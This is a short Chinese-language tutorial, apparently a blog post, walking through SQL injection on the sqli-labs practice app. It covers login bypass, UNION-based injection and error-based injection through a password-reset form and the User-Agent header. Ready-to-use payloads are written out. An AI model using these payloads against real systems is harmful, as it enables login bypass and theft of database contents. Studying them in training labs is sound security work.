SQL注入(其他)

(1)sql注入之万能密码(sqli-labs-master/Less-11)

这是一个使用用户名和密码登录的页面,当输入正确时效果如下,它会回显你的用户名和密码

SQL注入(其他)_第1张图片

这是执行操作的SQL语句: 

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

我们可以看到这是POST型,使用burp suite代理;

注释法

用户名处 :admin‘ #                       //这样就会注释掉后面的语句,也就不需要输入密码

SQL注入(其他)_第2张图片

添加【or】

admin’ or ‘1’=‘1                   //or的用法是有一个条件为真,即为真,语句便会执行,这样我们也不需要输入密码

 

SQL注入(其他)_第3张图片

传统注入

uname=0' union all select database(),2 --+&passwd=0&submit=Submit            //联合查询注入

SQL注入(其他)_第4张图片

(2)update型(sqli-labs-master/Less-17)

重置密码:这是一个重置密码的网页,我们可以判断它的SQL语句为updata;当我们输入信息后,只会提示正确,而没有其他回显位。如下:

SQL注入(其他)_第5张图片

虽然没用回显位,但是可以抛出异常,初步判断可以使用报错型注入。

uname=admin&passwd=123' and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x7e,database()))--+&submit=Submit

SQL注入(其他)_第6张图片

(3) insert型

UA字段:这里当我们登录后页面会显示一个UA字段的信息,我们可以修改UA的信息来进行注入,

SQL注入(其他)_第7张图片

通过判断,它的闭合方式为单引号' '闭合,我们在其前面和后面分别构造语句形成闭合,然后在中间利用and插入我们想要的SQL语句。

SQL注入(其他)_第8张图片

User-Agent:1' and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x7e,database())) and 1='1 

 

你可能感兴趣的:(Web安全)